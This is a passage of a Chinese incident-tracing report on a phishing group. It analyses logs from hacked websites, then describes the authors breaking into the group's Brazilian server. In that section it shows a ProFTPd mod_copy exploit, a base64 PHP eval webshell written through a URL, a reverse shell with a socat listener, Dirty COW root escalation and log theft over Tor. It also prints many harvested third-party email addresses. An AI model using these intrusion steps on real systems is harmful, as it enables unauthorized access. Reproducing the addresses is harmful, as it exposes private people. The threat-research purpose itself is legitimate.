-rw-r--r-- 1 1365 1328     7709 11月 28 21:15 pigmentnews.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328   129055 11月 30 21:15 publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328    14487 11月 30 21:15 publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328    88292 11月 30 21:15 zebramedia.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328   139759 11月 30 21:15 zebramedia.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328  6047261 11月 30 21:15 zeri-popullit.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328    52004 11月 30 21:15 zeri-popullit.publik.live-ssl_log-Nov-2018.gz

分析

根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。

 ? root@kali  /tmp/zebramedia.al/log/home/vayqpdvg/logs  grep "INSTALL.sql.txt.php" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort |uniq

148    197.211.61.82 (尼日利亚)
8      178.128.221.199 (希腊)


 ? root@kali  /tmp/zebramedia.al/log/home/vayqpdvg/logs  grep "INSTALL.sql.txt.php" * | grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq

178.128.221.199 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"

197.211.61.82 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

4.5.2 网站:helioncomposites.com

打包

日志路径:
/home2/helionco/access-logs/helioncomposites.com/

日志备份:
ls /home2/helionco/logs/
ftp.helioncomposites.com-ftp_log-Feb-2018.gz    
helioncomposites.com-Dec-2018.gz    
helioncomposites.com-Nov-2018.gz    
helioncomposites.com-ssl_log-Dec-2018.gz    
helioncomposites.com-ssl_log-Nov-2018.gz    

tar zcvf /home2/helionco/www/helioncomposites.com-www.tar.gz --exclude=/home2/helionco/www/helioncomposites.com-www.tar.gz  /home2/helionco/www/

tar zcvf /home2/helionco/www/helioncomposites.com-log.tar.gz /home2/helionco/logs/ /home2/helionco/access-logs/helioncomposites.com/

下载

wget  http://helioncomposites.com/helioncomposites.com-log.tar.gz
wget  http://helioncomposites.com/helioncomposites.com-www.tar.gz

分析

根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。

 ? root@kali  /tmp  grep ".php" * |grep "/home2/helionco/public_html/" |grep  "HTTP\/1.1\" 200" |awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt

1137 198.143.51.17
588 198.143.38.3
478 198.143.41.14
246 198.143.32.13
131 198.143.32.3
103 198.143.57.3
86 198.143.57.73
84 198.143.57.5
46 198.143.32.10
32 198.143.37.15
......

 ? root@kali  /tmp  for line in $(</ip.txt); do curl https://ip.cn/\?ip\=$line ; done

IP: 198.143.51.17 来自: 以色列 Incapsula
IP: 198.143.38.3 来自: 美国 Incapsula
IP: 198.143.41.14 来自: 美国 Incapsula
IP: 198.143.32.13 来自: 美国 Incapsula
IP: 198.143.32.3 来自: 美国 Incapsula
IP: 198.143.57.3 来自: 美国 Incapsula
IP: 198.143.57.73 来自: 美国 Incapsula
IP: 198.143.57.5 来自: 美国 Incapsula
IP: 198.143.32.10 来自: 美国 Incapsula
......

这个网站由于日志不全,提取出的IP大都是爬虫IP,所以不纳入最终的汇总。

4.5.3 发现钓鱼程序

网站 zebramedia.al 上发现多个攻击者放置的钓鱼程序和模板。

针对Dropbox 2018-12-01 00-32-03屏幕截图.png-116.9kB 针对Gmail 2018-12-01 00-28-51屏幕截图.png-76.2kB

4.6 关联分析

使用之前得到的后门文件中的关键字(config.php)对这3个网站文件进行匹配,发现其中2个存在相同后门文件,并且文件MD5值相同。

 ? root@kali  /tmp  find . -name "*.php" |xargs grep  "\$bm_____s" |awk -F ":" '{print $1}' 

./rosturplast.com/www/rosturplast.com/shells/config.php
./mirohaviar.sk/www/config.php
./zebramedia.al/www/zebramedia.al/config.php
./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php

后门文件MD5

 ? root@kali  /tmp  find . -name "*.php" |xargs grep  "\$bm_____s" |awk -F ":" '{print $1}' |xargs md5sum

e5c06f1f66781ba5c39d909096c4cd47  ./rosturplast.com/www/rosturplast.com/shells/config.php
e5c06f1f66781ba5c39d909096c4cd47  ./mirohaviar.sk/www/config.php
e5c06f1f66781ba5c39d909096c4cd47  ./zebramedia.al/www/zebramedia.al/config.php
e5c06f1f66781ba5c39d909096c4cd47  ./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php

五、渗透攻击者肉鸡服务器

5.1 漏洞扫描

目标:187.85.134.4

[+] HOST: 187.85.134.4(巴西)
[+] OS: Ubuntu
[+] Web Server: Apache/2.2.22 / PHP/5.3.10-1ubuntu3.19
[+] CMS: 未知

nmap --script=firewalk --traceroute 187.85.134.4

187.85.134.4-nmap.png-172.2kB

5.2 漏洞利用

端口扫描发现目标 FTP Server为ProFTPd 1.3.4a,这个版本和1.3.5存在未授权文件复制漏洞,我们可以通过这个漏洞往Web目录写入一个WebShell。

ProFTPd 1.3.5 Remote Command Execution(CVE-2015-3306) 
ProFTPD中使用的mod_copy模块存在未授权访问风险,导致ProFTPD自带的命令 SITE CPFR 和 SITE CPTO可在未登录ftp的情况被外部黑客所利用,对系统文件进行任意复制。

ProFTPd 1.3.5-a.png-84.8kB

5.2 获取权限

使用用MSF执行 msf-proftpd_modcopy_exec.png-405kB

得到一个cmd功能的WebShell 2018-12-03 21-50-12屏幕截图.png-190.9kB

写入中国菜刀客户端

http://187.85.134.4/lndex.php?img=echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+Cg== |base64 -d  >/var/www/index2.php

2018-12-05 19-28-53屏幕截图.png-201.6kB

5.3 文件分析

在Web目录下面发现用于发送钓鱼邮件的perl脚本、邮件钓鱼样本和大量的邮箱地址。以及挖矿后门、DDOS脚本等。

187.85.134.4-ls.png-473kB 187.85.134.4-lsls.png-390.5kB

5.3.1 钓鱼模板

图示是针对丹麦丹斯克银行(Danske Bank)和希腊阿尔法银行(Alpha Bank)的邮件钓鱼样本。

钓鱼模板1.png-50.5kB 银行模板2.png-79.3kB 银行模板3.png-37.5kB 银行模板4.png-40.4kB 银行模板5.png-24.7kB 银行模板6.png-36.1kB

5.3.2 僵尸网络程序

irc3.png-9.9kB irc2.png-99.8kB

5.3.3 DDOS脚本

ddos2.png-75kB

5.3.4 邮箱地址

统计目录下的 txt 文本数量,发现共有六十二万四千个邮箱地址。

 ? root@kali  /tmp/187.85.134.4/www/cat  wc -l *.txt     

624000 总用量

主流邮箱检索

 ? root@kali  /tmp/187.85.134.4/www/cacat  grep "@gmail.com" *.txt |head -n 20 

a0000001.txt:a.l.v.e.rtadsmileyksso@gmail.com
a0000001.txt:a.l.v.ertadsmileyksso@gmail.com
a0000001.txt:a.lfer.gm@gmail.com
a0000001.txt:a.lieseijsink@gmail.com
a0000001.txt:a.linkhusen@gmail.com
a0000001.txt:a.loldrup@gmail.com
a0000001.txt:a.lovendahl@gmail.com
a0000001.txt:a.lv.e.rtadsmileyksso@gmail.com
a0000001.txt:a.lver.tadsmileyksso@gmail.com
a0000001.txt:a.m.edsberg@gmail.com
a0000001.txt:a.m.morcke@gmail.com
a0000001.txt:a.m.quist@gmail.com
a0000001.txt:a.m.svendsen@gmail.com
a0000001.txt:a.merete.p@gmail.com
a0000001.txt:a.mette.sm@gmail.com
a0000001.txt:a.miller8111@gmail.com
a0000001.txt:a.moejbaek@gmail.com
a0000001.txt:a.moltkehansen@gmail.com
a0000001.txt:a.munktved@gmail.com
a0000001.txt:a.n.knutzen@gmail.com
 ? root@kali  /tmp/187.85.134.4/www/cat  grep "@outlook.com" *.txt |head -n 20

a0000001.txt:a.m.westra@outlook.com
a0000001.txt:a.olsen@outlook.com
a0000002.txt:aagren@outlook.com
a0000003.txt:aandanimalcity@outlook.com
a0000003.txt:aarhus-ungegruppe@outlook.com
a0000004.txt:aase.lousdal@outlook.com
a0000006.txt:abroschultz@outlook.com
a0000008.txt:adamfred2@outlook.com
a0000008.txt:adexecsolution@outlook.com
a0000010.txt:adrian.f.a.svendsen@outlook.com
a0000015.txt:aiah@outlook.com
a0000015.txt:aimeegarcia584@outlook.com
a0000016.txt:ajolicoeu@outlook.com
a0000018.txt:akstrup@outlook.com
a0000020.txt:alexander_bangsborg@outlook.com
a0000020.txt:alexanderkopke@outlook.com
a0000020.txt:ali__sivan@outlook.com
a0000021.txt:alicegerner@outlook.com
a0000022.txt:allanjeppesen@outlook.com
a0000023.txt:allworlduseu@outlook.com
 ? root@kali  /tmp/187.85.134.4/www/cat  grep "@163.com" *.txt |head -n 20

a0000001.txt:a31a18615@163.com
a0000001.txt:a398c671@163.com
a0000059.txt:backlink0321@163.com
a0000061.txt:banqianm8256@163.com
a0000075.txt:bf86ad32@163.com
a0000121.txt:cbb146672@163.com
a0000129.txt:chenbin800519@163.com
a0000134.txt:chuofuh3082@163.com
a0000157.txt:davidhuang001@163.com
a0000162.txt:dfjiuew@163.com
a0000209.txt:f08dbf326@163.com
a0000213.txt:fanxued79193@163.com
a0000221.txt:fjfzpy@163.com
a0000227.txt:fon@163.com
a0000259.txt:guangdk@163.com
a0000311.txt:huhuanqiang00161@163.com

5.4 提权

5.4.1 CVE-2013-2094,CVE-2013-1763提权

查看apache日志目录,发现没有权限。

[/var/www/]$ls -al /var/log/apache2/
ls: cannot open directory /var/log/apache2/: Permission denied

内核版本为3.5.0-23,尝试提权。

[/var/www/]$cat /etc/issue
Ubuntu 12.04.2 LTS \n \l

[/var/www/]$uname -an
Linux medidor2 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:15:33 UTC 2013  GNU/Linux

3.5.0-23-a.png-104.5kB

WebShell反弹:
[/var/www/]$cd /var/tmp;./pty  xxx.xxx.xxx.xxx 443

外网VPS监听:
socat file:`tty`,echo=0,raw tcp-listen:443

2018-12-04 14-43-05屏幕截图.png-61.7kB

实际测试CVE-2013-2094,CVE-2013-1763均无法提权。

CVE-2013-2094
Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu
12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)

CVE-2013-1763
Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation

5.4.2 脏牛提权

祭出大杀器CVE-2016-5195(脏牛) , 理论上通杀 2.6.22 < 3.9 (x86/x64)的内核版本。

在本地环境提权测试过程中发现,i386架构下使用cowroot提权时EXP会破坏源文件,导致提权失败。而使用dirtycow-mem仅修改内存则没有问题,但是存在内核崩溃的风险。这两个EXP都是利用/proc/self/mem提权,前一个修改文件,后一个修改内存。

如图所示: Screenshot-2019-1-23 Carbon.png-68.1kB

使用dirtycow-mem.c提权时需要注意:i386架构下编译前需要将源代码中libc路径修改为目标系统libc路径,否则执行时找不到文件。

#define SHELLCODE   "\x31\xc0\xc3"
#define SPACE_SIZE  256
#define LIBC_PATH   "/lib/x86_64-linux-gnu/libc.so.6"  ## 改为 /lib/i386-linux-gnu/libc.so.6
#define LOOP        0x1000000

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096

Give me root  :),提权成功。

www-data@medidor2:/tmp$gcc -Wall -o hello dirtycow-mem.c -ldl -lpthread
www-data@medidor2:/tmp$ ls
hello
www-data@medidor2:/tmp$ chmod +x hello
www-data@medidor2:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@medidor2:/tmp$ ./hello
[*] range: b7573000-b7716000]
[*] getuid = b762bd10
[*] mmap 0xb73cb000
[*] exploiting (patch)
[*] patched (madviseThread)
[*] patched (procselfmemThread)
root@medidor2:/tmp# [*] exploiting (unpatch)
[*] unpatched: uid=33 (madviseThread)
[*] unpatched: uid=33 (procselfmemThread)

root@medidor2:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

打包Apache日志。

? ? root@kali  ls /var/log/apache2
access  error  other_vhosts_access.log

? ? root@kali  tar zcvf /var/www/apache2-log.tar.gz  /var/log/apache2/
? ? root@kali  /tmp  ltor wget http://187.85.134.4/apache2-log.tar.gz  
[proxychains] config file found: /data/app/local/proxychains_local_tor/proxychains.conf
[proxychains] preloading /data/app/local/proxychains_local_tor/libproxychains4.so
[proxychains] DLL init
--2011-11-11 11:11:11--  http://187.85.134.4/apache2-log.tar.gz
正在连接 187.85.134.4:80... [proxychains] Strict chain  ...  127.0.0.1:9050  ...  187.85.134.4:80  ...  OK
已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:9258688 (8.8M) [application/x-gzip]
正在保存至: “apache2-log.tar.gz”

apache2-log.tar.gz  100%[===================>]   8.83M  29.6KB/s  用时 5m 45s  

2018-11-11 11:11:11 (26.2 KB/s) - 已保存 “apache2-log.tar.gz” [9258688/9258688])

5.5 分析日志

分析IP访问情况

? root@kali  /tmp/  grep "/cacat/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt

95 185.56.80.138
77 197.211.60.52
70 67.71.3.8
59 207.35.210.35
41 99.226.207.46
41 193.215.40.238
39 197.211.59.163
38 82.61.95.132
38 66.249.73.95
37 76.26.34.181
37 197.234.221.77
31 105.112.27.60
29 105.112.23.41
20 109.166.138.68
16 66.249.79.61
16 197.211.61.18
14 212.100.77.191
12 197.234.221.210
8 66.249.79.35
8 66.249.73.64
7 154.118.69.165
5 66.249.73.67

......


 ? root@kali  /tmp  for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 185.56.80.138 来自: 荷兰 
IP: 197.211.60.52 来自: 尼日利亚 
IP: 67.71.3.8 来自: 加拿大 
IP: 207.35.210.35 来自: 加拿大 
IP: 99.226.207.46 来自: 加拿大 
IP: 193.215.40.238 来自: 挪威 
IP: 197.211.59.163 来自: 尼日利亚
IP: 82.61.95.132 来自: 意大利 
IP: 66.249.73.95 来自: Google 骨干网
IP: 76.26.34.181 来自: 美国 
IP: 197.234.221.77 来自: 贝宁 
IP: 105.112.27.60 来自: 尼日利亚 
IP: 105.112.23.41 来自: 尼日利亚 
IP: 109.166.138.68 来自: 罗马尼亚 
IP: 66.249.79.61 来自: Google 骨干网
IP: 197.211.61.18 来自: 尼日利亚 
IP: 212.100.77.191 来自: 尼日利亚 
IP: 197.234.221.210 来自: 贝宁 
IP: 66.249.79.35 来自: Google 骨干网
IP: 66.249.73.64 来自: Google 骨干网
IP: 154.118.69.165 来自: 尼日利亚 
IP: 66.249.73.67 来自: Google 骨干网
......

根据路径名判断,疑似受害者访问了钓鱼页面。

 ? root@kali  /tmp/ grep "/cacat" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq 
109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=120" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"

185.56.80.138 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=8425" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"

196.52.34.20 - - [12/Oct/201835.0) Gecko/20100101 Firefox/35.0"

207.35.210.35 - - [21/Aug/2018//187.85.134.4/cacat/win2018/winbnk/EBlogin.html?sitecode=GR&lang=el-GR" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"

197.211.60.52 - - [07/Sep/2018:16:02:40 -0300] "GET /cacat/nnnnn.zip HTTP/1.1" 200 4489167 "http://187.85.134.4/cacat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"

查看web目录下txt文件访问情况,总共有一万多IP。访问地址包含受害者主机IP、各种搜索引擎爬虫IP、各路黑客的IP等等。

grep "/cacat/" * |grep "txt" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r  >ip.txt
 ? root@kali  ~/Desktop  wc -l ip.txt                                                        
10101 ip.txt

5.6 访问IP热力图

5.6.1 IP转经纬度坐标

将获得的IP转换成经纬度坐标,再通过百度地图API生成热力图

将IP转换成经纬度坐标,脚本:ip2xy.py 生成经纬度坐标文件:point.js 全球IP库:GeoLiteCity.dat

#!/usr/bin/python
#coding:utf-8
import pandas as pd
import pygeoip
import types
import sys

gi = pygeoip.GeoIP('/tmp/GeoLiteCity.dat', pygeoip.MEMORY_CACHE)
def getLocal(ip):

    if type(ip) != types.StringType:
        print ip
        return
    location = gi.record_by_addr(ip)
    if location is None:
        print ip
        return
    lng = location['longitude']
    lat = location['latitude']
    str_temp = '{"lat":' + str(lat) + ',"lng":' + str(lng) + '},\n'
    print ip,lng,lat,str_temp
    file.write(str_temp)


file = open('/tmp/point.js', 'w')
file.write("var points =[\n")
with open("/tmp/ip.txt") as f:
    i = 0
    for ip in  f.readlines():
        getLocal(ip)

file.write("];\n")
file.close()

5.6.2 调用百度地图API

本地调用百度地图 JavaScript API: map.html

<!DOCTYPE html>
<html lang="en">
<head>
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="viewport" content="initial-scale=1.0, user-scalable=no" />
    <script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&ak=填写自己的百度AK"></script>
    <script type="text/javascript" src="http://api.map.baidu.com/library/Heatmap/2.0/src/Heatmap_min.js"></script>
<script type="text/javascript" src="./point.js"></script>
    <title>热力图功能示例</title>
    <style type="text/css">
        ul,li{list-style: none;margin:0;padding:0;float:left;}
        html{height:100%}
        body{height:100%;margin:0px;padding:0px;font-family:"微软雅黑";}
        #container{height:100%;width:100%;}
        #r-result{width:100%;}
    </style>
</head>
<body>
    <div id="container"></div>
    <div id="r-result" style="display:none">
        <input type="button"  onclick="openHeatmap();" value="显示热力图"/><input type="button"  onclick="closeHeatmap();" value="关闭热力图"/>
    </div>
</body>
</html>
<script type="text/javascript">
    var map = new BMap.Map("container");          // 创建地图实例

    var point = new BMap.Point(34.0224714118,109.0786868715);
    map.centerAndZoom(point, 6);             // 初始化地图,设置中心点坐标和地图级别
    map.setCurrentCity("西安");       //设置当前显示城市
    map.enableScrollWheelZoom(); // 允许滚轮缩放



    if(!isSupportCanvas()){
        alert('热力图目前只支持有canvas支持的浏览器,您所使用的浏览器不能使用热力图功能~')
    }
    //详细的参数,可以查看heatmap.js的文档 https://github.com/pa7/heatmap.js/blob/master/README.md
    //参数说明如下:
    /* visible 热力图是否显示,默认为true
     * opacity 热力的透明度,1-100
     * radius 势力图的每个点的半径大小
     * gradient  {JSON} 热力图的渐变区间 . gradient如下所示
     *  {
            .2:'rgb(0, 255, 255)',
            .5:'rgb(0, 110, 255)',
            .8:'rgb(100, 0, 255)'
        }
        其中 key 表示插值的位置, 0~1.
            value 为颜色值.
     */
    heatmapOverlay = new BMapLib.HeatmapOverlay({"radius":100,"visible":true});
    map.addOverlay(heatmapOverlay);
    heatmapOverlay.setDataSet({data:points,max:100});

    //closeHeatmap();



    //判断浏览区是否支持canvas
    function isSupportCanvas(){
        var elem = document.createElement('canvas');
        return !!(elem.getContext && elem.getContext('2d'));
    }

    function setGradient(){
        /*格式如下所示:
        {
            0:'rgb(102, 255, 0)',
            .5:'rgb(255, 170, 0)',
            1:'rgb(255, 0, 0)'
        }*/
        var gradient = {};
        var colors = document.querySelectorAll("input[type='color']");
        colors = [].slice.call(colors,0);
        colors.forEach(function(ele){
            gradient[ele.getAttribute("data-key")] = ele.value;
        });
        heatmapOverlay.setOptions({"gradient":gradient});
    }

    function openHeatmap(){
        heatmapOverlay.show();
    }

    function closeHeatmap(){
        heatmapOverlay.hide();
    }
</script>
</body>
</html>

5.6.3 生成热力图

如图所示,欧洲IP居多,亚洲也不少。至于有多少主机沦陷和多少受害者上钩,无法准确判断。

热力图1.png-526.6kB

热力图2.png-357.6kB

热力图3.png-1196.3kB

六、信息汇总

根据所得信息汇总,对这个黑客组织信息进行简单分析,仅供参考。

6.1 组织信息

名称:

Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber

地区:

巴勒斯坦

成员ID:

Hawk_B404 、 MR.S1NS_Y 、 koneksi eror 、 GU3LT03M 、 SinonX 、 ./B4Z1R007 、 ./Bl4ckJ4ck 、 anon99husein 、 4GottenName 、Gantai 、 4nzeL4 、 AKEMI403

历史邮箱:

alexsin54@yahoo.com
jasonchowan223@gmail.com
macacperus@yopmail.com
bidibidibidi@yopmail.com
bidi.pici11@hotmail.com
bidi.cuc@mail.com
flrnvasilica@gmail.com

组织主页:

http://mujahidincyberarmy.blogspot.com/

https://www.facebook.com/FamilyAttackCyberOfficial/

6.2 攻击手段

入侵使用Wordpress、Joomla! CMS的网站、放置钓鱼程序,批量传播钓鱼邮件。

攻击目标:

早期政治目的居多,主要攻击美国政府机构网站和雇员。近期多为商业目的,主要针对欧洲银行客户以及亚洲金融机构雇员进行邮件钓鱼。

控制主机:

187.85.134.4

常用后门:

6.3 攻击历史

美国联邦调查局、美国国土安全部、美国司法部

巴勒斯坦黑客已经发布了大约2万名联邦调查局(FBI)和9,000名国土安全部(DHS)官员的个人信息
http://mujahidincyberarmy.blogspot.com/2016/12/inilah-data-informasi-pribadi-20-ribu.html

通过钓鱼邮件获得美国司法部权限

http://mujahidincyberarmy.blogspot.com/2016/02/hacker-pro-palestina-terbitkan.html

6.4 代理IP

174.85.145.99 (美国) - - [27/Nov/2018:23:35:31 +0300] "POST /shells/bacu.php HTTP/1.1" 200 4731 "http://www.rosturplast.com/shells/bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

50.73.252.169 (美国) - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

213.233.104.120 (罗马尼亚) - - [27/Nov/2018:22:10:03 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0"

207.228.149.69 (百慕大 ) - - [28/Nov/2018:23:12:54 +0300] "POST /shells/config.php HTTP/1.1" 200 3729 "http://www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

195.211.23.207 (俄罗斯) - - [27/Nov/2018:22:36:50 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"

29.205.113.8 (尼日利亚) - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"

212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"

178.128.221.199 (希腊)- - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"

197.211.61.82 (尼日利亚) - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

6.5 被黑网站

不完全统计

rosturplast.com
mirohaviar.sk
helioncomposites.com
radiolanalhue.cl
zebramedia.al
www.qtfontebispo.com
www.seoeaze.com
vilapoucadeaguiar.com
proyectosphr.cl
u-p.com
www.humanaconsultores.cl
amsogroup.com
www.tdftechnologies.com
www.bvvagos.pt
www.huellasdigitales.cl
lince.apsl.edu.pl
www.fica.unsl.edu.ar
proyectosphr.cl
www.zlobek.uw.edu.pl
ifr.pt
mail.ijrer.org
www.hkmms.org.hk
historia.apsl.edu.pl
www.homeguide.com.sg
onlinecombos.co.in
umo.apsl.edu.pl
www.bpmp2t.lombokbaratkab.go.id
amsogroup.com
viper.cl
www.teniscavancha.cl
www.estacaomedica.pt
terrarestobar.cl
jf-bragado.pt
helioncomposites.com
notariabasualto.cl
ericdiblasi.com
reinamarltda.cl
cobraz.pt
www.stmarypellaia.com
webcam.wm-itservice.at

七、攻击路径还原

复盘整个溯源过程,还原攻击者攻击路径。

攻击路径1 (4).png-215.2kB

以上就是整个溯源过程,仅供参考。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/945/